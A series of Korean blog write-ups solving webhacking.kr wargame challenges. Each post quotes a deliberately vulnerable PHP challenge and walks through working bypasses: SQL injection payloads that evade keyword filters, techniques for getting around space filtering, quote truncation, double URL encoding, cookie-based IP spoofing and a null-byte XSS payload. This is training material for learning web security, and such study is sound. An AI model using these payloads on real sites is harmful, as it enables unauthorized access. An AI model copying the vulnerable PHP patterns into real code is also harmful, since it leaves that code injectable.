<?


echo("<a href=index_lolll.phps>source</a>");


if(!$_GET[id]) $_GET[id]="guest";

echo("<html><head><title>Challenge 61</title></head><body>");


if(eregi("\(|\)|union|select|challenge|from|,|by|\.",$_GET[id])) exit("Access Denied");

if(strlen($_GET[id])>18) exit("Access Denied");


$q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1"));


echo("<b>$q[id]</b><br>");

if($q[id]=="admin") 

    @clear();


echo("</body></html>");


?>



필터문자

(, )

union

select

challenge

from

,

by

.


이러한 값이 전달되면 "Access Denied" 출력

마찬가지로 문자열 길이도 18 이상이면 "Access Denied"


[쿼리]

SELECT $_GET['id'] FROM c_61 ORDER BY id DESC LIMIT 1



어떻게하든 결과 값이 admin 레코드가 나오도록 해야함.


mysql> select 'admin' as no from member order by no;

+-------+

| no    |

+-------+

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

+-------+

10 rows in set (0.00 sec)


위 쿼리와 같은 방법으로 하면 해결할 수 있다.

member 테이블에 있는 각각의 레코드에 쿼리가 적용되며, 레코드 수 만큼 "admin"이라는 문자열이 출력될 것이다.


이 쿼리 방식을 문제에 적용하면 아래와 같다.


SELECT "admin" as id from c_61 ORDER BY id DESC LIMIT 1; 으로 쿼리를 보내면

모든 레코드마다 쿼리가 적용되며, id 칼럼에 "admin"이라는 문자열을 가져올 수 있다

하지만 magic_quotes_gpc 설정이 On으로 되어있기 때문에 "admin" 문자열을 쿼터 없이 만들어줘야함.


challenge/web/web-38/index.php?id=0x61646d696e%20as%20id0x61646d696e%20as%20id 


<html>

<head>

<title>Challenge 27</title>

</head>

<body>

<h1>SQL INJECTION</h1>

<form method=get action=index.php>

<input type=text name=no><input type=submit>

</form>

<?

if($_GET[no])

{


if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");


$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");


if($q[id]=="guest") echo("guest");

if($q[id]=="admin") @solve();


}


?>

<!-- index.phps -->

</body>

</html>

필터 문자

#

union

from

challenge

select

(

\t

\

limit

0x

=


[쿼리]

SELECT id FROM challenge27_table WHERE id='guest' and no=($_GET[no])




쿼리 결과 관리자 id가 나오도록 해야함.

no=100 or id="admin" 를 삽입하려 했지만

따옴표 사용 X // magic_quotes_gpc 적용

0x 사용 금지 // 필터처리

char() 함수 사용 // 괄호( 필터처리

like 사용 가능!

# 주석도 필터이기 때문에 -- 사용


따라서 아래와 같이 공백부분을 %0a로 채워준다.

no=100) or id like 0b0110000101100100011011010110100101101110 -- 


100%29%0aor%0aid%0alike%0a0b0110000101100100011011010110100101101110%20--%20


 주의할 점은 -- 주석이 여태 그냥 사용해도 문제없는 줄 알았지만

%20--%20 처럼 앞 뒤 공백으로 채워줘야함.

<html>

<head>

<title>Challenge 7</title>

</head>

<body>

<!--

db에는 val=2가 존재하지 않습니다.

union을 이용하세요

-->

<?

$answer = "????";

$go=$_GET[val];

if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);

$ck=str_replace("/","",$ck);


echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if($rand==1)

{

$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");

}


if($rand==2)

{

$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");

}


if($rand==3)

{

$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");

}


if($rand==4)

{

$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");

}


if($rand==5)

{

$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");

}


$data=mysql_fetch_array($result);

if(!$data[0]) { echo("query error"); exit(); }

if($data[0]!=1 && $data[0]!=2) { exit(); }


if($data[0]==1)

{

echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=

alert('Access_Denied!')><p>");

echo("<!-- admin mode : val=2 -->");

}


if($data[0]==2)

{

echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=

alert('Congratulation')><p>");

@solve();


?>

<!--

index.phps

-->


</body>

</html>


코드를 분석하면, $_GET['val'] 값을 받아서 *, / 문자가 있는지 체크하고

eregi 함수로 --, 2, 50, \+, substring, from, infor, mation, lv, %20, =, !, <>, sysM, and, or, table, column, 공백을 필터한다. 


1~5 사이 랜덤 값을 rand 함수로 추출한다. 그후 생성된 값을 통해

쿼리문에 괄호개수가 정해진다.

// rand 함수 반환 값이 1일 때

SELECT lv FROM lv1 WHERE lv=($_GET['val'])


쿼리 결과 lv 값이 추출되는데 lv 값이 없으면 exit();

추출된 lv 값이 1 이면서 2이여도 exit();

lv 값이 2이면 성공


주의할 점은 실제 DB에 val=2가 존재하지 않으므로 UNION을 사용하라 명시되어있다.


따라서 $_GET['val'] 값에 0 union select (3-1) 가 되도록 시도한다.

SELECT lv FROM lv1 WHERE lv=( 0) union select (3-1    )

공백은 %0a(\n을 의미)로 우회하면된다.


0)%0aunion%0aselect%0a(3-1


근데 안풀려서 다른 사람이 한거 보니까 최근에 서버오류? 때문에 안된다고함..

괜히 시간버렸다ㅜㅜ


<html>

<head>

<title>Challenge 46</title>

</head>

<body>

<form method=get action=index.php>

level : <input name=lv value=1><input type=submit>

</form>

<?

if(time()<1256900400) exit();


?>

<!-- index.phps -->

<?


$_GET[lv]=str_replace(" ","",$_GET[lv]);

$_GET[lv]=str_replace("/","",$_GET[lv]);

$_GET[lv]=str_replace("*","",$_GET[lv]);

$_GET[lv]=str_replace("%","",$_GET[lv]);


if(eregi("union",$_GET[lv])) exit();

if(eregi("select",$_GET[lv])) exit();

if(eregi("from",$_GET[lv])) exit();

if(eregi("challenge",$_GET[lv])) exit();

if(eregi("0x",$_GET[lv])) exit();

if(eregi("limit",$_GET[lv])) exit();

if(eregi("cash",$_GET[lv])) exit();


$q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]"));


if($q && $_GET[lv])

{

echo("$q[0] information<br><br>money : $q[1]");


if($q[0]=="admin") @solve();


}

?>


</body>

</html>


lv 파라미터 값을 전달하고 있다.(기본값 1).

또한, 전달되는 파라미터를 필터처리하는데 필터되는 문자는 공백, /, *, %, union, select, from, challenge, 0x, limit, cash 이다.


$q[0]은 $q['id']를 의미하며, $q['id']값이 admin이 되려면 파라미터에 0%09or%09id=char(97,100,109,105,110)# 를 입력하면된다.


입력폼에 입력하면 %부분을 %25로 인코딩하기 때문에 URL 에 직접입력하든

프록시 도구로 인터셉트해서 입력해야함.





<html> 
<head> 
<title>Challenge 18</title> 
<style type="text/css"> 
body { background:black; color:white; font-size:10pt; } 
input { background:silver; } 
a { color:lightgreen; } 
</style> 
</head> 
<body> 
<br><br> 
<center><h1>SQL INJECTION</h1> 
<form method=get action=index.php> 
<table border=0 align=center cellpadding=10 cellspacing=0> 
<tr><td><input type=text name=no></td><td><input type=submit></td></tr> 
</table> 
</form> 
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br> 
<? 
if($_GET[no]) 


if(
eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack"); 

$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]")); 

if(
$q[0]=="guest") echo ("hi guest"); 
if(
$q[0]=="admin"

@
solve(); 
echo (
"hi admin!"); 




?> 
</a> 
<br><br><a href=index.phps>index.phps</a> 
</cener> 
</body> 
</html> 


위 소스코드를 분석하면, eregi 함수를 사용해 $_GET['no'] 변수를 필터한다.

필터 문자로는 공백, /, (, ), 탭, |, &, union, select, from, 0x 이다.


[쿼리]

SELECT id FROM challenge18_table WHERE id='guest' and no=$_GET['no']


위와 같은 쿼리에서 $_GET['no'] 파라미터에 or no=admin계정의 no 값을 넣어주려고 했지만 no 값이 정확히 몇인지 모르고 귀찮아서 id='admin'을 해주려했지만 실패!


이유는? phpinfo() 값을 보니 magin_quotes_gpc 값이 On으로 설정돼있다.

따라서 싱글쿼터가 안들어가게 admin 을 넣어줘야한다. 


or id=0x61646d696e 를 $_GET['no']에 넣어주면 될 것 같지만 공백과 0x를 eregi함수에서 필터하기 때문에 실패!


char 함수로 admin문자를 만들어주려고 했지만 괄호까지 eregi 함수에서 필터하기 때문에 id를 이용한 SQL 인젝션은 포기하고 no 값을 0부터 하나하나 차근차근 넣기 시작


no=100%0aor%0ano=2 를 넣어보니 성공!



# 공백 우회 문자


1. Tab : %09

  - no=1%09or%09id='admin'

 

2. Line Feed (\n): %0a

  - no=1%0aor%0aid='admin'

 

3. Carrage Return(\r) : %0d

  - no=1%0dor%0did='admin'

 

4. 주석 : /**/

  - no=1/**/or/**/id='admin'

 

5. 괄호 : ()

  - no=(1)or(id='admin')

 

6. 더하기 : +

  - no=1+or+id='admin'


'WEB Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 07번 SQL 인젝션 UNION  (0) 2018.08.31
[webhacking.kr] 46번 SQL 인젝션 CHAR()  (0) 2018.08.29
[webhacking.kr] 39번 SQL 인젝션  (0) 2018.08.28
[webhacking.kr] 26번  (0) 2018.08.24
[webhacking.kr] 20번  (0) 2018.08.24




<html>

<head>

<title>Chellenge 39</title>

</head>

<body>

<?

$pw="????";

if($_POST[id])

{

$_POST[id]=str_replace("\\","",$_POST[id]);

$_POST[id]=str_replace("'","''",$_POST[id]);

$_POST[id]=substr($_POST[id],0,15);

echo "<br><br>sisisipar: ".$_POST[id]."<br><br>";

echo "QUERY :".  "select 'good' from zmail_member where id='$_POST[id]"."<br><br>";

$q=mysql_fetch_array(mysql_query("select 'good' from zmail_member where id='$_POST[id]"));

if($q[0]=="good") @solve();

}

?>

<form method=post action=index.php>

<input type=text name=id maxlength=15 size=30>

<input type=submit>

</form>

</body>

</html>



$_POST 방식으로 id 값을 입력받고 몇가지 치환과 문자열을 자른다.

\\ -> ""

' -> ''


id 길이는 15자리로 제한되며 그 이상 입력하면 잘린다. 이 특징을 이용해 하나의 싱글쿼터가 두개로 치환되는데 그중 하나를 잘라버린다.

현재 쿼리가 select 'good' from zmail_member where id='$_POST[id] 이기 때문에 싱글쿼터로 닫아야한다.


따라서 admin         ' 이라고 입력해주면 admin          ''로 치환이 되지만 15자리 이상은 잘려서 쿼리안에는 아래와 같이 입력된다.

select 'good' from zmail_member where id='admin '



'WEB Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 46번 SQL 인젝션 CHAR()  (0) 2018.08.29
[webhacking.kr] 18번 SQL 인젝션  (0) 2018.08.29
[webhacking.kr] 26번  (0) 2018.08.24
[webhacking.kr] 20번  (0) 2018.08.24
[webhacking.kr] 24번  (0) 2018.08.23

<html> 
<head> 
<title>Challenge 26</title> 
<style type="text/css"> 
body { background:black; color:white; font-size:10pt; }     
a { color:lightgreen; } 
</style> 
</head> 
<body> 

<? 

if(eregi("admin",$_GET[id])) { echo("<p>no!"); exit(); } 

$_GET[id]=urldecode($_GET[id]); 

if($_GET[id]=="admin") 
{ 
@solve(26,100); 
} 

?> 
 

<br><br> 
<a href=index.phps>index.phps</a> 
</body> 
</html> 



위 소스코드를 보면 id 파라미터를 $_GET 방식으로 받아 eregi 함수로 패턴을 검사한다. 이때, 전달받은 값이 "admin" 이라면 종료하고


아니면 urldecode 함수로 디코딩한다. eregi 함수를 우회하면 되는데 admin을 인코딩하면 %61%64%6d%69%6e 이다. 


하지만 $_GET 방식이나 $_REQUEST로 서버가 전달받으면 자동으로 디코딩작업을 해준다. 결국 admin을 받아서 필터처리된다.


따라서 %까지 인코딩해서 보내야한다. %2561%2564%256d%2569%256e














'WEB Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 18번 SQL 인젝션  (0) 2018.08.29
[webhacking.kr] 39번 SQL 인젝션  (0) 2018.08.28
[webhacking.kr] 20번  (0) 2018.08.24
[webhacking.kr] 24번  (0) 2018.08.23
[webhacking.kr] 23번  (0) 2018.08.23

<html>

<head>

<title>Challenge 20</title>

<style type="text/css">

body { background:black; color:white; font-size:10pt; }

input { background:silver; color:black; font-size:9pt; }

</style>

</head>

<body>

<center><font size=2>time limit : 2</font></center>

<form name=lv5frm method=post>

<table border=0>

<tr><td>nickname</td><td><input type=text name=id size=10 maxlength=10></td></tr>

<tr><td>comment</td><td><input type=text name=cmt size=50 maxlength=50></td></tr>

<tr><td>code</td><td><input type=text name=hack><input type=button name=attackme value="plsxprjxpt"

 style=border:0;background=lightgreen onmouseover=this.style.font=size=30 onmouseout=this.style.font=size=15></td></tr>

<tr><td><input type=button value="Submit" onclick=ck()></td><td><input type=reset></td></tr>

</table>

<script>

function ck()

{


if(lv5frm.id.value=="") { lv5frm.id.focus(); return; }

if(lv5frm.cmt.value=="") { lv5frm.cmt.focus(); return; }

if(lv5frm.hack.value=="") { lv5frm.hack.focus(); return; }

if(lv5frm.hack.value!=lv5frm.attackme.value) { lv5frm.hack.focus(); return; }


lv5frm.submit();


}

</script>


<br>


do not programming!<br>

this is javascript challenge


</body>

</html>



위 소스코드에 보면 time limit : 2 라는 힌트가 있다. 시간 제한이 2초라는 의미인 것 같다. 

처음에는 힌트 생각을 안하고 lv5frm.hack.value 값 검증하는 부분을 우회해서 다르게 입력하면 되는줄 알았다.

힌트를 감안해서 문제를 보면 2초안에 lv5frm.hack.value 값을 동일하게 보내야 풀 수 있는 문제이다.


F12 개발도구에 콘솔에 아래와 같이 입력해주면 됨.



'WEB Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 18번 SQL 인젝션  (0) 2018.08.29
[webhacking.kr] 39번 SQL 인젝션  (0) 2018.08.28
[webhacking.kr] 26번  (0) 2018.08.24
[webhacking.kr] 24번  (0) 2018.08.23
[webhacking.kr] 23번  (0) 2018.08.23


<html>

<head>

<title>Challenge 24</title>

</head>

<body>

<table border=1><tr><td>client ip</td><td>49.142.97.190</td></tr><tr><td>agent</td><td>Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0</td></tr></table><p><hr><center>Wrong IP!</center><hr>


<!--


source : index.phps


-->


</body>

</html>


index.phps 를 통해 소스코드를 볼 수 있다.




 <html>

<head>

<title>Challenge 24</title>

</head>

<body>

<?


extract($_SERVER);

extract($_COOKIE);


if(!$REMOTE_ADDR) $REMOTE_ADDR=$_SERVER[REMOTE_ADDR];


$ip=$REMOTE_ADDR;

$agent=$HTTP_USER_AGENT;


if($_COOKIE[REMOTE_ADDR])

{

$ip=str_replace("12","",$ip);

$ip=str_replace("7.","",$ip);

$ip=str_replace("0.","",$ip);

}


echo("<table border=1><tr><td>client ip</td><td>$ip</td></tr><tr><td>agent</td><td>$agent</td></tr></table>");


if($ip=="127.0.0.1")

{

@solve();

}


else

{

echo("<p><hr><center>Wrong IP!</center><hr>");

}

?>

<!--

source : index.phps

-->

</body>

</html>

위는 index.phps 소스코드이며, extract 함수를 통해 $_SERVER과 $_COOKIE 값을 변수화 시켜주었다.

ip가 127.0.0.1 이 되면 @solve(); 함수가 동작하는데 정규식으로 필터 처리하고 있다.

버프스위트로 REMOTE_ADDR 쿠키 값에 112277..00..00..1를 입력하여 전달하면된다.





'WEB Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 18번 SQL 인젝션  (0) 2018.08.29
[webhacking.kr] 39번 SQL 인젝션  (0) 2018.08.28
[webhacking.kr] 26번  (0) 2018.08.24
[webhacking.kr] 20번  (0) 2018.08.24
[webhacking.kr] 23번  (0) 2018.08.23

<?php

$a = $_GET['a'];

if(eregi("script", $a){

echo "detected!<br>";

}else{

echo "bypass<br>";

echo $a;

}

?>


위와 같이 eregi 함수를 사용하여 script 문자열을 필터링할 때 php 5.3+ 부터는 널바이트 삽입을 통해 우회가 가능하다.


http://hackability.kr/entry/PHP-%EB%AC%B8%EC%9E%90%EC%97%B4-%ED%95%84%ED%84%B0%EB%A7%81-%ED%95%A8%EC%88%98ereg-eregi-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%9A%B0%ED%9A%8C






어떠한 것들이 필터링 되었는지 특수문자도 입력해보고 ScriPt등과 같이 대소문자를 조합하여 입력해보고 테스트한 결과

2글자 이상의 문자열을 입력했을 때 no hack이라고 필터처리된다. 위에서 언급한 것과 같이 eregi 함수를 사용했고 php 5.3+ 이라면

널바이트 삽입으로 필터링을 우회할 수 있을 것이다.


따라서 %00<script>alert(1)</script>을 URL에 입력한다. 주의할 점은 입력폼에 삽입을 하면 %부분을 URL 인코딩하여 

index.php?code=%2500%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E 같이 전송하기 때문에 URL에 직접 입력한다.


23번 문제는 필터링 우회, eregi 함수 취약점에 관한 문제인 것 같다.






'WEB Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 18번 SQL 인젝션  (0) 2018.08.29
[webhacking.kr] 39번 SQL 인젝션  (0) 2018.08.28
[webhacking.kr] 26번  (0) 2018.08.24
[webhacking.kr] 20번  (0) 2018.08.24
[webhacking.kr] 24번  (0) 2018.08.23

+ Recent posts